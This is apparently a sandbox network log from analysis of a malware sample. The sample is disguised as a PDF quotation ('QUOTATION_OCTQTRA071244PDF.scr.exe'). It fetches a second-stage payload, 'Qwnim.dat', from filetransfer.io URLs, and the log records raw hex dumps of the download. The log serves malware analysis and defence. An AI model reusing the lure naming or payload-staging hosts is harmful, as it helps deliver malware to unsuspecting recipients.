Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.4	50161	188.114.97.3	443	7484	C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-04 09:24:36 UTC	98	OUT	GET /storage/download/EobBo452Hdxh HTTP/1.1 Host: s23.filetransfer.io Connection: Keep-Alive
2024-10-04 09:24:37 UTC	1028	IN	HTTP/1.1 200 OK Date: Fri, 04 Oct 2024 09:24:37 GMT Content-Type: application/octet-stream Content-Length: 930824 Connection: close Last-Modified: Thu, 03 Oct 2024 06:02:30 GMT Set-Cookie: nette-samesite=1; path=/; SameSite=Strict; HttpOnly Set-Cookie: PHPSESSID=5210d1246456728fa4c0e0ce9623fdfe; expires=Fri, 18-Oct-2024 09:24:37 GMT; Max-Age=1209600; path=/; SameSite=Lax; secure; HttpOnly Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Content-Disposition: attachment; filename="Qwnim.dat" Accept-Ranges: bytes Accept-Ranges: bytes ETag: "66fe3376-e3408" CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Gw8Fr%2FxqLTcoRrAqcqU0Qb4PflG3aRcyozNRu6nZ7ngRT%2BOpfdYxyiupW24VdYgk30I1vaYYLlxbJor7hoWxETTWmwQfmlbN9zyyrcV00S2pGyKny%2Ba19%2BG7uy%2Bxi4bJuvxB%2B9%2F2"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cd41eb1bf709e08-EWR
2024-10-04 09:24:37 UTC	341	IN	Data Raw: 28 3e 86 09 e8 43 a0 a4 78 be 41 d8 01 2a 36 d0 c2 08 ec 6f f5 1f a0 cd d4 e4 ae 5b fb b3 85 bf 70 0b 96 a8 3c 9a 0e cd b1 4c 33 79 61 23 ca 18 ee 7b 2c 1d df 9a 4f d9 8e 92 e2 66 2e 92 b1 cf 1b 88 6f 0f c3 8d bb ee e2 e9 76 0a 9c c4 53 f3 72 a2 3d 30 f6 ac 43 50 6c 9f a1 31 69 79 9a 0f 5d e5 d6 4a 82 5e 90 3a ab 6a 0c 66 5f 65 f6 8f 7a 50 55 b2 60 fa fc 72 aa c2 ae 3e f9 5f 4a 89 b6 80 51 3d 81 81 41 61 d9 5e 3b 04 d0 b3 f2 42 6b c1 12 fa 4f 94 8b 11 85 4b b8 b3 37 1a f5 aa 92 c4 8e 0e 71 78 04 33 65 54 f1 be 55 65 ca d8 0d 39 a3 df 86 f1 11 ad 98 99 e0 17 16 7c 6e c2 b7 7a 25 cb e0 d3 75 90 ed f3 86 21 7e 03 51 b5 cb c5 7c 74 3a 2d d6 ad f8 7b b2 d5 ba 84 5a ff 42 c0 77 e7 68 6d 6f dc c6 59 87 44 07 cb 34 d4 a2 48 a5 d9 f3 53 66 4f 95 61 77 2a ba b0 37 Data Ascii: (>CxA6o[p<L3ya#{,Of.ovSr=0CPl1iy]J^:jf_ezPU`r>_JQ=Aa^;BkOK7qx3eTUe9\|nz%u!~Q\|t:-{ZBwhmoYD4HSfOaw7
2024-10-04 09:24:37 UTC	1369	IN	Data Raw: 97 04 b1 49 bf 4b 3e 16 67 dd 24 29 55 60 2b e2 b5 8f ef 43 4a 45 ea 5b 7c 5b 96 a6 d9 e9 81 eb ce 96 5c 2b c6 e0 97 3b d7 e4 9b f3 f9 f1 49 2e 47 dd 61 f4 1a e4 c3 87 50 e4 a5 94 a3 61 be 91 69 36 f3 5c d9 b3 e0 17 61 be ce 62 88 a6 af f5 fd 74 e3 8e 68 70 ab 23 0a 45 02 5b 08 e8 0d 4b 48 83 1e ce 83 6a a7 60 4e 10 15 34 25 52 c1 23 81 82 86 d9 41 66 09 e8 97 de 38 bc 92 f0 64 49 8e 27 1a 73 7e 41 42 13 b9 2c 85 db 73 f7 18 f0 be a1 b3 ce dc d2 a9 8a b6 c2 d7 a9 b2 2b 89 1d 2d 73 c5 ec 51 7d e1 1d 4b 28 58 63 19 09 9f d4 87 07 39 06 0e ad 9e 80 7f 6c 5c 3a 25 e5 16 cf b4 46 1c f5 52 36 44 03 0b 91 a6 c3 e3 37 f9 73 73 d4 cc be d5 bd c8 25 28 55 b1 98 2c 6d b8 9f 06 35 c4 0c fb 3f bf 4d 28 3c 17 f5 5d 26 43 34 09 c3 38 87 63 53 38 43 b9 d9 45 d6 70 07 11 Data Ascii: IK>g$)U`+CJE[\|[\+;I.GaPai6\abthp#E[KHj`N4%R#Af8dI's~AB,s+-sQ}K(Xc9l\:%FR6D7ss%(U,m5?M(<]&C48cS8CEp
2024-10-04 09:24:37 UTC	1369	IN	Data Raw: f8 a6 47 8f 77 48 05 21 38 26 de fa 78 94 47 1b a8 1f 3e f8 7b c8 37 b6 c0 75 67 53 44 e9 b2 47 1f 92 7e dc a9 9a 03 c5 c2 8b fd 6c 58 95 6b c7 fe a7 f5 52 00 2a 86 0f 21 83 bf 58 63 b9 f2 0b 50 ee 0a 05 e6 ca 9b 87 5a aa f7 90 9a 19 85 56 a2 fd 42 44 4d 78 6e e8 43 ef 30 d1 60 fb 0e 7a b6 30 25 f3 fa 13 fb 85 2a 72 d5 df ab 1f ae 8c 8f 8b 1e 19 16 ed 5b bf 79 7a 79 42 c4 5b 70 1a be e6 93 79 1c 9b 46 54 89 66 5c 11 bd 7f ac 07 5c 37 3e 81 3a 62 36 ac f5 81 06 6c 91 b6 e9 55 01 cc 33 42 ab 65 66 49 b8 cc d9 3f c8 b8 08 4d eb 33 68 7a 42 ff 72 61 4e 3f aa 09 32 b5 60 d4 7a ab 1b d0 80 5e c6 c9 57 40 8d cf 91 cd eb 79 26 8e e8 b6 22 90 0b 62 4a 2e 14 b3 68 e5 16 51 a9 97 b5 30 68 a0 df 11 c1 b5 9e 4a b2 1d b5 ad 7a 4e 04 64 f4 c7 84 ec fb b4 a7 94 1f d6 78 Data Ascii: GwH!8&xG>{7ugSDG~lXkR!XcPZVBDMxnC0`z0%r[yzyB[pyFTf\\7>:b6lU3BefI?M3hzBraN?2`z^W@y&"bJ.hQ0hJzNdx
2024-10-04 09:24:37 UTC	1369	IN	Data Raw: f7 58 a7 70 dc ca dd 11 26 c4 ae b4 07 4a 11 c2 3d d3 cb 43 b8 85 71 2a 7f 02 48 e5 f2 3c 1d 0e 33 1a 0f 0d c8 c5 ec 42 6f 2b f7 0b c2 5b 14 d2 9d 6c 8f 67 72 ea 25 46 30 a7 82 8f 4d 08 e0 30 cc 25 48 66 15 c2 23 bd 05 5f 12 26 90 de e2 4f 3f cc 74 bc 05 d7 c1 20 1f 7a d7 a7 c6 ea 27 14 34 45 66 7d 63 8b 32 30 95 f2 0c 2b 5d a7 da 33 b3 86 c1 83 0b d6 65 0d e5 43 c6 4d b8 15 1c ef 47 07 ca b9 e7 75 fa b2 4c d3 8f 79 f4 d7 cb 87 25 02 62 2a f3 dc d4 2e a4 5a bd fe 96 b9 16 a6 4a c2 af f5 ff ff ef c2 36 75 e0 ff b3 c4 b3 66 ec eb e4 44 55 2d 1a c4 11 0b 5d 71 0e 7b 8c ef 13 d4 ec fc 7a 35 96 70 af e9 57 de ae 36 d1 67 f8 ff 6b 25 f4 b6 b3 4a ac 6f c3 c4 69 40 71 71 cb f7 33 2c dd dc d3 04 7b d2 73 ee 7a a1 e9 79 44 8d ee 27 59 11 fe 46 85 4c 66 bc 05 25 80 Data Ascii: Xp&J=CqH<3Bo+[lgr%F0M0%Hf#_&O?t z'4Ef}c20+]3eCMGuLy%b.ZJ6ufDU-]q{z5pW6gk%Joi@qq3,{szyD'YFLf%
2024-10-04 09:24:37 UTC	1369	IN	Data Raw: 16 94 17 7d 59 97 dd 5c 21 51 15 05 3d 35 3d 5c a7 50 81 19 7e db 8f 9f 3d e6 fa 96 da 62 6f c6 17 19 93 db 8e 1a 26 76 91 81 ca 74 bb 8e 6d e0 80 90 c6 6b 66 de 8b d6 5a cb 1d aa c5 96 01 99 85 e1 0c 4e f5 f0 38 43 78 70 f4 76 7c 6a 68 1f ed 65 5a c0 cf ab 30 9d 15 50 4e b5 f1 74 bb 9b 08 96 61 6b 89 1d a0 05 34 e6 d6 d7 45 3a aa 13 a7 b0 51 57 4e 9a de 8c 51 c4 c7 3b 0c 42 9d 50 00 11 37 68 fd a9 81 d3 e9 52 2f 59 35 fe 97 43 14 6d cb 53 18 c3 aa cc 4b c3 d4 ef 4a 87 1e 6d 71 a8 de dd 7b 78 06 d5 6b 9b 34 9c 86 2d 3f 0e e9 80 4d 6b e7 4e 86 16 a9 e6 ee 1b f2 f7 de 0e aa c4 f6 51 1b 94 81 16 29 14 42 b9 4f 49 15 2b 6c bc 6f 2a e3 8f 82 0e a6 58 7e 56 d6 d0 16 af 1b 6f 45 fd 10 2f 5c 72 c2 c7 d0 6a 4e 1c d6 8d 3c d0 bf a2 42 85 62 96 53 55 b1 a9 af 98 12 Data Ascii: }Y\!Q=5=\P~=bo&vtmkfZN8Cxpv\|jheZ0PNtak4E:QWNQ;BP7hR/Y5CmSKJmq{xk4-?MkNQ)BOI+lo*X~VoE/\rjN<BbSU
2024-10-04 09:24:37 UTC	1369	IN	Data Raw: b1 4c c8 a6 df ca dd ee 0b a8 96 cf 42 34 73 38 d3 b5 0f ea ba af 14 9e 3d 75 76 b6 c3 13 1d 18 a5 4d 50 25 0d 9f 2d 96 2e c7 88 74 43 bf 3a 3e cd fc 00 8a 82 e1 6f 97 da 50 04 36 6e 3e 3b cf 45 b2 7a 08 fc db 13 cd 80 18 9b 7b 1e 4f 38 28 3f 8f a0 90 e2 86 d9 c4 6e 97 e9 4b 4c cb 2d 7b 30 b4 f5 e9 78 33 cb 9c 10 d8 48 84 74 c8 9b 55 a3 7d 80 15 20 54 d8 33 7c 97 75 bd 53 28 c7 38 0e 51 17 11 7e ab 1b 7b 89 88 39 79 18 b8 e0 29 92 fd da 00 85 5c ae d5 8b a0 2d 49 9d 72 20 e6 b8 17 ab ad 24 8b 69 e0 2f d2 29 c3 db 88 ed 7d e8 39 76 8e 14 bc 51 c0 4b 8d 32 9c 7f 03 ee f9 ae 8f 74 c3 e7 94 74 9d 7c 6e 2b b2 97 a9 a2 af 9e 39 52 8a 07 6b 99 5a 8d 05 0a 73 9f 6f ec 4b d1 66 6e e1 4d 9f 55 57 1b 7f fb ac a7 0e d4 25 b2 da 59 6a 4d 26 a9 0a 7c 71 4e 8c 75 5b 28 Data Ascii: LB4s8=uvMP%-.tC:>oP6n>;Ez{O8(?nKL-{0x3HtU} T3\|uS(8Q~{9y)\-Ir $i/)}9vQK2tt\|n+9RkZsoKfnMUW%YjM&\|qNu[(
2024-10-04 09:24:37 UTC	1369	IN	Data Raw: 23 cc 49 66 0a 53 76 94 0d 35 dd 04 d8 f5 98 53 09 2d de 64 36 f6 77 ee 33 4b f6 75 bb 68 40 9d 33 c8 b3 b9 b8 57 ec 36 71 50 53 cd 85 93 4b 2a ea ca 5f c1 d5 99 a0 1f d8 37 1a 06 5a f4 04 26 08 c9 92 51 d1 33 84 cc ca 61 8d 6b 98 c1 9f a1 af 23 f0 6a 78 10 da a3 22 d8 72 66 ad 86 7b 67 e5 3a b2 6c 49 89 6a 34 f9 a6 10 19 8a 96 94 4c eb b9 99 83 b7 54 90 10 8c 13 dc 48 dc 69 a5 44 31 0a 06 82 06 16 20 0a 24 2d 6c 56 0d 00 7a a9 5f f3 37 a3 45 58 ee 12 c6 45 da 1f ee 35 a9 54 4b a5 f5 9d 3d 72 3a 27 05 f0 ff 90 d6 b5 2a 93 9b 7a 2d f2 0d 5e 88 d2 3a c3 73 d6 1b 78 ef 45 ff b1 66 4f 63 20 ee 7b a9 0f 58 1a 71 12 e0 e6 e6 48 06 ec 72 1a fd 93 dd 87 f9 95 ff 81 d8 54 d1 d6 cf 29 df 46 57 a4 ec c0 f5 4e 55 37 b7 7d cd f8 67 9b 74 d0 a9 02 3c 96 2b e8 56 09 13 Data Ascii: #IfSv5S-d6w3Kuh@3W6qPSK_7Z&Q3ak#jx"rf{g:lIj4LTHiD1 $-lVz_7EXE5TK=r:'z-^:sxEfOc {XqHrT)FWNU7}gt<+V
2024-10-04 09:24:37 UTC	1369	IN	Data Raw: 38 6a 6c a6 f1 c4 42 eb bf a6 96 07 b8 eb c9 d1 15 ff 96 87 05 fc 6a c2 57 c7 65 32 4b 36 06 79 84 6e 7d 1a af 7f 98 dd a7 f9 c5 ec 36 0c 71 f1 3b d4 b5 7d a6 40 32 3d 5e a5 8c 73 eb 9b 69 1f 1f e4 0a 08 0d 52 51 ca 77 4c d2 d6 68 ce a5 b1 be e6 4f c5 5a 95 bc 6d 08 be 3c da ae 66 32 14 4b 51 52 8d 5c 64 c4 c5 07 ba b8 60 bc 6f f0 7c 74 f4 03 57 78 d3 59 ec fd 88 d6 de 9b cc 60 5b 27 6f 13 f8 e2 fd ba 01 d3 a1 12 8e 04 a4 39 73 10 7a 1c 8f 39 f8 18 e7 96 f9 b6 f7 35 6d eb 99 4e d0 2b 67 2a 1d a2 67 65 9f d6 ee bc 07 d9 b8 e3 97 ba 08 22 09 3c 94 2a 1d a0 a8 61 28 24 0a 57 55 16 69 77 bd ae e3 cc 49 1e c3 02 44 a5 88 1b 0b 96 10 70 e7 61 5d 20 8b b1 c2 74 81 ea 2f 90 36 69 e1 fa 5d bb 13 2f 3e ff fc 08 a7 5d 18 ff 1f 4b 26 89 4d 2b ca 0e 03 dd 00 77 ca 30 Data Ascii: 8jlBjWe2K6yn}6q;}@2=^siRQwLhOZm<f2KQR\d`o\|tWxY`['o9sz95mN+gge"<a($WUiwIDpa] t/6i]/>]K&M+w0
2024-10-04 09:24:37 UTC	1369	IN	Data Raw: 75 a6 2f a1 69 6a 20 ac c8 ee 23 94 98 a1 e4 68 7c 27 7c 08 25 79 f5 19 04 79 8b 69 1c d5 f0 30 e7 5d b3 47 e4 b6 c3 d3 5c 44 92 15 d8 5c 95 aa ba 56 b4 c6 c2 1d b3 30 14 77 c8 6d d5 82 1c c8 a6 9c 51 6d 14 a9 26 02 1a 75 e3 42 a5 9a 30 fd 2a ec f7 52 27 24 6f d2 d7 96 ff ff 9d 20 9b 11 8e d3 ee 66 03 1f 1b b0 dc 96 11 c3 28 ab a7 f8 d8 42 f8 e4 33 15 ac e6 d0 28 c6 77 0c fb ca 4a 02 73 74 b7 ef 8c 1b b8 bc 44 4b 43 91 42 e9 95 c3 1a fd 3b 57 67 88 c3 ef 8c c1 6b 48 3a 33 01 d8 4f 7b 9b 4c 58 8a 41 9b 32 af 2c 5d 4d 35 e4 75 d0 bc d9 8b ce 59 17 15 dd 06 78 85 f5 62 43 a8 ce a8 df 2d 67 f5 0d a9 15 5d cd 67 93 70 19 5f 37 fd 01 da b7 b7 04 d1 79 1d 09 54 ed 91 6d 46 52 3a 51 e4 b6 ca 6e dc 7a f7 eb 7d 9b 16 0e c9 81 69 2d 56 d4 ce 95 c9 7f 1c 30 9c 91 ef Data Ascii: u/ij #h\|'\|%yyi0]G\D\V0wmQm&uB0*R'$o f(B3(wJstDKCB;WgkH:3O{LXA2,]M5uYxbC-g]gp_7yTmFR:Qnz}i-V0
2024-10-04 09:24:37 UTC	1369	IN	Data Raw: 24 7f 64 bc 84 ab 4e 04 63 33 25 df 6b 8b 89 0b 29 19 82 17 b7 ab cf ce 2a 7a 61 ac 22 59 e8 9c a2 2c b4 93 52 34 b9 12 6f 25 26 f6 eb e6 4f e9 9e 22 b8 99 55 88 da 8e 9f a8 e0 3a 1f a0 51 04 af 0a 34 de ec c6 57 32 c7 ae ac 47 41 bd 4e 50 80 ad 96 b0 9a 33 0b 03 19 59 b7 3b e6 d4 8b e4 dc 30 07 da 5c 3e 84 2d 69 ba a2 be 43 3b d4 42 39 b3 b7 f1 19 0c 0c 10 da 05 d3 ea 83 e4 88 1c ad fb 22 03 45 6a c8 56 2a ee aa 46 d2 97 46 01 2f c9 ed f8 f8 9b 9a 0e 1f 67 83 f0 9c 3f 86 d8 1d e0 90 8e dd fb d7 91 87 41 36 f8 cc 53 c5 fb 7b 8f dc eb da b1 86 18 1b 28 94 8c a5 09 63 a9 fa ec 31 c3 65 e0 94 72 b6 51 12 f7 0c bc 13 d7 b2 0b a3 68 9e 12 48 1a dc 7d 70 f1 f8 90 8f 42 8e b8 38 21 6b d8 d0 69 ef 8c 16 45 e4 21 87 34 64 56 b8 62 2f 61 ef 4f 65 44 d3 e6 bb db 62 Data Ascii: $dNc3%k)za"Y,R4o%&O"U:Q4W2GANP3Y;0\>-iC;B9"EjVFF/g?A6S{(c1erQhH}pB8!kiE!4dVb/aOeDb

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.4	50164	188.114.96.3	443	7484	C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-04 09:24:40 UTC	95	OUT	GET /data-package/eZFzMENr/download HTTP/1.1 Host: filetransfer.io Connection: Keep-Alive
2024-10-04 09:24:40 UTC	1072	IN	HTTP/1.1 302 Found Date: Fri, 04 Oct 2024 09:24:40 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close X-Powered-By: Nette Framework 3 X-Frame-Options: SAMEORIGIN Set-Cookie: nette-samesite=1; path=/; SameSite=Strict; HttpOnly Set-Cookie: PHPSESSID=ba0hq938nddh0i01tsmkros4ij; expires=Fri, 18-Oct-2024 09:24:40 GMT; Max-Age=1209600; path=/; SameSite=Lax; secure; HttpOnly Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Vary: X-Requested-With Location: https://s23.filetransfer.io/storage/download/UHZCmkCE5dCM cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=O%2B7bxqsfCO9TQER4oFgA29aL1ltHf7QmwmhQG%2BYC1wrvfjD3MxMJvhW6blcp18JSC8nX%2Bv2KGfZ5jyTpEY1ud7lnb5gEZh5fNdgp9K%2BQjOUHId%2BLN4bYAwOmYvcM9c%2FGENo%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cd41ec6fea742d1-EWR
2024-10-04 09:24:40 UTC	134	IN	Data Raw: 38 30 0d 0a 3c 68 31 3e 52 65 64 69 72 65 63 74 3c 2f 68 31 3e 0a 0a 3c 70 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 32 33 2e 66 69 6c 65 74 72 61 6e 73 66 65 72 2e 69 6f 2f 73 74 6f 72 61 67 65 2f 64 6f 77 6e 6c 6f 61 64 2f 55 48 5a 43 6d 6b 43 45 35 64 43 4d 22 3e 50 6c 65 61 73 65 20 63 6c 69 63 6b 20 68 65 72 65 20 74 6f 20 63 6f 6e 74 69 6e 75 65 3c 2f 61 3e 2e 3c 2f 70 3e 0d 0a Data Ascii: 80<h1>Redirect</h1><p><a href="https://s23.filetransfer.io/storage/download/UHZCmkCE5dCM">Please click here to continue</a>.</p>
2024-10-04 09:24:40 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.4	50165	188.114.97.3	443	7484	C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-04 09:24:41 UTC	98	OUT	GET /storage/download/UHZCmkCE5dCM HTTP/1.1 Host: s23.filetransfer.io Connection: Keep-Alive
2024-10-04 09:24:41 UTC	1020	IN	HTTP/1.1 200 OK Date: Fri, 04 Oct 2024 09:24:41 GMT Content-Type: application/octet-stream Content-Length: 930824 Connection: close Last-Modified: Thu, 03 Oct 2024 06:02:30 GMT Set-Cookie: nette-samesite=1; path=/; SameSite=Strict; HttpOnly Set-Cookie: PHPSESSID=b0f86bdab8cea1efe518d7981ec583b7; expires=Fri, 18-Oct-2024 09:24:41 GMT; Max-Age=1209600; path=/; SameSite=Lax; secure; HttpOnly Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Content-Disposition: attachment; filename="Qwnim.dat" Accept-Ranges: bytes Accept-Ranges: bytes ETag: "66fe3376-e3408" cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Ny5DYCAsOLBOIkmi2CSSatwQM1Qs3VYG%2BoZs%2BAU700QACaq4SUz1LiHbYDxyemEILivWpw4NwQT1dTWjg5lpf8F6LkNigE0bu2WZVCP5r7%2BM8owJ0nQHmxAvVuASq1cusidbgqjt"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cd41ecdaa127cf3-EWR
2024-10-04 09:24:41 UTC	349	IN	Data Raw: 28 3e 86 09 e8 43 a0 a4 78 be 41 d8 01 2a 36 d0 c2 08 ec 6f f5 1f a0 cd d4 e4 ae 5b fb b3 85 bf 70 0b 96 a8 3c 9a 0e cd b1 4c 33 79 61 23 ca 18 ee 7b 2c 1d df 9a 4f d9 8e 92 e2 66 2e 92 b1 cf 1b 88 6f 0f c3 8d bb ee e2 e9 76 0a 9c c4 53 f3 72 a2 3d 30 f6 ac 43 50 6c 9f a1 31 69 79 9a 0f 5d e5 d6 4a 82 5e 90 3a ab 6a 0c 66 5f 65 f6 8f 7a 50 55 b2 60 fa fc 72 aa c2 ae 3e f9 5f 4a 89 b6 80 51 3d 81 81 41 61 d9 5e 3b 04 d0 b3 f2 42 6b c1 12 fa 4f 94 8b 11 85 4b b8 b3 37 1a f5 aa 92 c4 8e 0e 71 78 04 33 65 54 f1 be 55 65 ca d8 0d 39 a3 df 86 f1 11 ad 98 99 e0 17 16 7c 6e c2 b7 7a 25 cb e0 d3 75 90 ed f3 86 21 7e 03 51 b5 cb c5 7c 74 3a 2d d6 ad f8 7b b2 d5 ba 84 5a ff 42 c0 77 e7 68 6d 6f dc c6 59 87 44 07 cb 34 d4 a2 48 a5 d9 f3 53 66 4f 95 61 77 2a ba b0 37 Data Ascii: (>CxA6o[p<L3ya#{,Of.ovSr=0CPl1iy]J^:jf_ezPU`r>_JQ=Aa^;BkOK7qx3eTUe9\|nz%u!~Q\|t:-{ZBwhmoYD4HSfOaw7
2024-10-04 09:24:41 UTC	1369	IN	Data Raw: 67 dd 24 29 55 60 2b e2 b5 8f ef 43 4a 45 ea 5b 7c 5b 96 a6 d9 e9 81 eb ce 96 5c 2b c6 e0 97 3b d7 e4 9b f3 f9 f1 49 2e 47 dd 61 f4 1a e4 c3 87 50 e4 a5 94 a3 61 be 91 69 36 f3 5c d9 b3 e0 17 61 be ce 62 88 a6 af f5 fd 74 e3 8e 68 70 ab 23 0a 45 02 5b 08 e8 0d 4b 48 83 1e ce 83 6a a7 60 4e 10 15 34 25 52 c1 23 81 82 86 d9 41 66 09 e8 97 de 38 bc 92 f0 64 49 8e 27 1a 73 7e 41 42 13 b9 2c 85 db 73 f7 18 f0 be a1 b3 ce dc d2 a9 8a b6 c2 d7 a9 b2 2b 89 1d 2d 73 c5 ec 51 7d e1 1d 4b 28 58 63 19 09 9f d4 87 07 39 06 0e ad 9e 80 7f 6c 5c 3a 25 e5 16 cf b4 46 1c f5 52 36 44 03 0b 91 a6 c3 e3 37 f9 73 73 d4 cc be d5 bd c8 25 28 55 b1 98 2c 6d b8 9f 06 35 c4 0c fb 3f bf 4d 28 3c 17 f5 5d 26 43 34 09 c3 38 87 63 53 38 43 b9 d9 45 d6 70 07 11 dc 9b 6a da 17 5e aa 6e Data Ascii: g$)U`+CJE[\|[\+;I.GaPai6\abthp#E[KHj`N4%R#Af8dI's~AB,s+-sQ}K(Xc9l\:%FR6D7ss%(U,m5?M(<]&C48cS8CEpj^n
2024-10-04 09:24:41 UTC	1369	IN	Data Raw: 38 26 de fa 78 94 47 1b a8 1f 3e f8 7b c8 37 b6 c0 75 67 53 44 e9 b2 47 1f 92 7e dc a9 9a 03 c5 c2 8b fd 6c 58 95 6b c7 fe a7 f5 52 00 2a 86 0f 21 83 bf 58 63 b9 f2 0b 50 ee 0a 05 e6 ca 9b 87 5a aa f7 90 9a 19 85 56 a2 fd 42 44 4d 78 6e e8 43 ef 30 d1 60 fb 0e 7a b6 30 25 f3 fa 13 fb 85 2a 72 d5 df ab 1f ae 8c 8f 8b 1e 19 16 ed 5b bf 79 7a 79 42 c4 5b 70 1a be e6 93 79 1c 9b 46 54 89 66 5c 11 bd 7f ac 07 5c 37 3e 81 3a 62 36 ac f5 81 06 6c 91 b6 e9 55 01 cc 33 42 ab 65 66 49 b8 cc d9 3f c8 b8 08 4d eb 33 68 7a 42 ff 72 61 4e 3f aa 09 32 b5 60 d4 7a ab 1b d0 80 5e c6 c9 57 40 8d cf 91 cd eb 79 26 8e e8 b6 22 90 0b 62 4a 2e 14 b3 68 e5 16 51 a9 97 b5 30 68 a0 df 11 c1 b5 9e 4a b2 1d b5 ad 7a 4e 04 64 f4 c7 84 ec fb b4 a7 94 1f d6 78 a7 c6 cb cb 4b d3 60 15 Data Ascii: 8&xG>{7ugSDG~lXkR!XcPZVBDMxnC0`z0%r[yzyB[pyFTf\\7>:b6lU3BefI?M3hzBraN?2`z^W@y&"bJ.hQ0hJzNdxK`
2024-10-04 09:24:41 UTC	1369	IN	Data Raw: 26 c4 ae b4 07 4a 11 c2 3d d3 cb 43 b8 85 71 2a 7f 02 48 e5 f2 3c 1d 0e 33 1a 0f 0d c8 c5 ec 42 6f 2b f7 0b c2 5b 14 d2 9d 6c 8f 67 72 ea 25 46 30 a7 82 8f 4d 08 e0 30 cc 25 48 66 15 c2 23 bd 05 5f 12 26 90 de e2 4f 3f cc 74 bc 05 d7 c1 20 1f 7a d7 a7 c6 ea 27 14 34 45 66 7d 63 8b 32 30 95 f2 0c 2b 5d a7 da 33 b3 86 c1 83 0b d6 65 0d e5 43 c6 4d b8 15 1c ef 47 07 ca b9 e7 75 fa b2 4c d3 8f 79 f4 d7 cb 87 25 02 62 2a f3 dc d4 2e a4 5a bd fe 96 b9 16 a6 4a c2 af f5 ff ff ef c2 36 75 e0 ff b3 c4 b3 66 ec eb e4 44 55 2d 1a c4 11 0b 5d 71 0e 7b 8c ef 13 d4 ec fc 7a 35 96 70 af e9 57 de ae 36 d1 67 f8 ff 6b 25 f4 b6 b3 4a ac 6f c3 c4 69 40 71 71 cb f7 33 2c dd dc d3 04 7b d2 73 ee 7a a1 e9 79 44 8d ee 27 59 11 fe 46 85 4c 66 bc 05 25 80 3c e7 d5 d9 e7 5f d6 e2 Data Ascii: &J=CqH<3Bo+[lgr%F0M0%Hf#_&O?t z'4Ef}c20+]3eCMGuLy%b.ZJ6ufDU-]q{z5pW6gk%Joi@qq3,{szyD'YFLf%<_
2024-10-04 09:24:41 UTC	1369	IN	Data Raw: 21 51 15 05 3d 35 3d 5c a7 50 81 19 7e db 8f 9f 3d e6 fa 96 da 62 6f c6 17 19 93 db 8e 1a 26 76 91 81 ca 74 bb 8e 6d e0 80 90 c6 6b 66 de 8b d6 5a cb 1d aa c5 96 01 99 85 e1 0c 4e f5 f0 38 43 78 70 f4 76 7c 6a 68 1f ed 65 5a c0 cf ab 30 9d 15 50 4e b5 f1 74 bb 9b 08 96 61 6b 89 1d a0 05 34 e6 d6 d7 45 3a aa 13 a7 b0 51 57 4e 9a de 8c 51 c4 c7 3b 0c 42 9d 50 00 11 37 68 fd a9 81 d3 e9 52 2f 59 35 fe 97 43 14 6d cb 53 18 c3 aa cc 4b c3 d4 ef 4a 87 1e 6d 71 a8 de dd 7b 78 06 d5 6b 9b 34 9c 86 2d 3f 0e e9 80 4d 6b e7 4e 86 16 a9 e6 ee 1b f2 f7 de 0e aa c4 f6 51 1b 94 81 16 29 14 42 b9 4f 49 15 2b 6c bc 6f 2a e3 8f 82 0e a6 58 7e 56 d6 d0 16 af 1b 6f 45 fd 10 2f 5c 72 c2 c7 d0 6a 4e 1c d6 8d 3c d0 bf a2 42 85 62 96 53 55 b1 a9 af 98 12 50 90 a8 e0 a7 16 03 0d Data Ascii: !Q=5=\P~=bo&vtmkfZN8Cxpv\|jheZ0PNtak4E:QWNQ;BP7hR/Y5CmSKJmq{xk4-?MkNQ)BOI+lo*X~VoE/\rjN<BbSUP
2024-10-04 09:24:41 UTC	1369	IN	Data Raw: 0b a8 96 cf 42 34 73 38 d3 b5 0f ea ba af 14 9e 3d 75 76 b6 c3 13 1d 18 a5 4d 50 25 0d 9f 2d 96 2e c7 88 74 43 bf 3a 3e cd fc 00 8a 82 e1 6f 97 da 50 04 36 6e 3e 3b cf 45 b2 7a 08 fc db 13 cd 80 18 9b 7b 1e 4f 38 28 3f 8f a0 90 e2 86 d9 c4 6e 97 e9 4b 4c cb 2d 7b 30 b4 f5 e9 78 33 cb 9c 10 d8 48 84 74 c8 9b 55 a3 7d 80 15 20 54 d8 33 7c 97 75 bd 53 28 c7 38 0e 51 17 11 7e ab 1b 7b 89 88 39 79 18 b8 e0 29 92 fd da 00 85 5c ae d5 8b a0 2d 49 9d 72 20 e6 b8 17 ab ad 24 8b 69 e0 2f d2 29 c3 db 88 ed 7d e8 39 76 8e 14 bc 51 c0 4b 8d 32 9c 7f 03 ee f9 ae 8f 74 c3 e7 94 74 9d 7c 6e 2b b2 97 a9 a2 af 9e 39 52 8a 07 6b 99 5a 8d 05 0a 73 9f 6f ec 4b d1 66 6e e1 4d 9f 55 57 1b 7f fb ac a7 